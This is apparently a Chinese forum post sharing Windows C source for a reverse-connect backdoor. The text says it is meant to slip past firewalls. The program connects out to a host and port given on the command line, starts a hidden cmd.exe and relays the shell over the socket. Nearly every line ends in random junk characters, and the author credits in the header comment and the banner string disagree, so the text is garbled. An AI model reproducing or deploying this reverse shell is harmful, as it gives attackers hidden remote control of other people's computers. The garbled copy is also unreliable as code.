这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 c-n/E. E
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/* ============================== +8itP>
Rebound port in Windows NT FU>KiBV#
By wind,2006/7 -)}Z
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===============================*/ C"_ Roir?
#include h0g?=hJq
#include ~dp f1fP
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#pragma comment(lib,"wsock32.lib") Z*UVbyC
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void OutputShell(); n\JI7A}
SOCKET sClient; 2l^_OrE!
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,-8-Y>[
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void main(int argc,char **argv) `M 'tuQ
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{ ~ A=Gra
WSADATA stWsaData; @7C.0>W_A
int nRet; =y)K er
SOCKADDR_IN stSaiClient,stSaiServer; x|G
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if(argc != 3) ~!8j,Bqs+z
{ ka8Y+Gs
printf("Useage:\n\rRebound DestIP DestPort\n"); b.@4yW
return; LyWY\K a
} *pv<ZF0>
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WSAStartup(MAKEWORD(2,2),&stWsaData); : MjDcI~
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JTm'fo[
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stSaiClient.sin_family = AF_INET; qq)}GK8K&
stSaiClient.sin_port = htons(0); HK~SD:d
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); W{tZX^|
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9q_{_%G%
{ =W:=}ODD
printf("Bind Socket Failed!\n"); dr: x0>
return; Xo/H+[;X
} hd~#I<8;2
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stSaiServer.sin_family = AF_INET; CEc(2q+%i
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,qv\Y]
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); L~Peerby
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {tY1$}R
{ W0~G`A(:;
printf("Connect Error!"); %<(d%&~
return; |l+5E
} 4R\jZ@D
OutputShell(); jHn7H)F8
} !|H,g wqU
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void OutputShell() W&%,XwkQ
{ 'hs4k|B
char szBuff[1024]; aK@
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SECURITY_ATTRIBUTES stSecurityAttributes; 4YikC
OSVERSIONINFO stOsversionInfo; }^&f {
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; PgT8
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STARTUPINFO stStartupInfo; 'o#oRK{#
char *szShell; QRf>lZP
PROCESS_INFORMATION stProcessInformation; $6pLsX
unsigned long lBytesRead; /]!2k9u\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); a{hc{
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); BOG.[?yx
stSecurityAttributes.lpSecurityDescriptor = 0; :,Y1#_\
stSecurityAttributes.bInheritHandle = TRUE; ~i>DF`w$
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3-{BXht)
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3c3;8h$k
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); b&&l
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 72Y6gcg
stStartupInfo.wShowWindow = SW_HIDE; e7xBi!I)~
stStartupInfo.hStdInput = hReadPipe; oYZ
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; n>j2$m1[
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GetVersionEx(&stOsversionInfo); DlE, aYB
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switch(stOsversionInfo.dwPlatformId) kF~(B]W(
{ V@k+RniEO
case 1: .G!xcQ`?
szShell = "command.com"; =zK4jiM1
break; 4hwb]
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default: rVNx2
szShell = "cmd.exe"; b2UDP W
break; 3rH}/`d4
} j2_j5Hgo
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %N<5ST>(
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send(sClient,szMsg,77,0); )PP yJ@M
while(1) 8e*skL
{ 2RX]~}
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); b^h_`
if(lBytesRead) a- rR`
{ ya8p
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Mp|Jt
send(sClient,szBuff,lBytesRead,0); cE
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} [_(J8~va
else @NRN#~S,_]
{ aX;>XL4
lBytesRead=recv(sClient,szBuff,1024,0); NknS:r&2
if(lBytesRead<=0) break; B=a+cT
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6Lq`zU^
} Gd%i?(U,R
} CE`]X;#y
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return; F8?2+w@P
}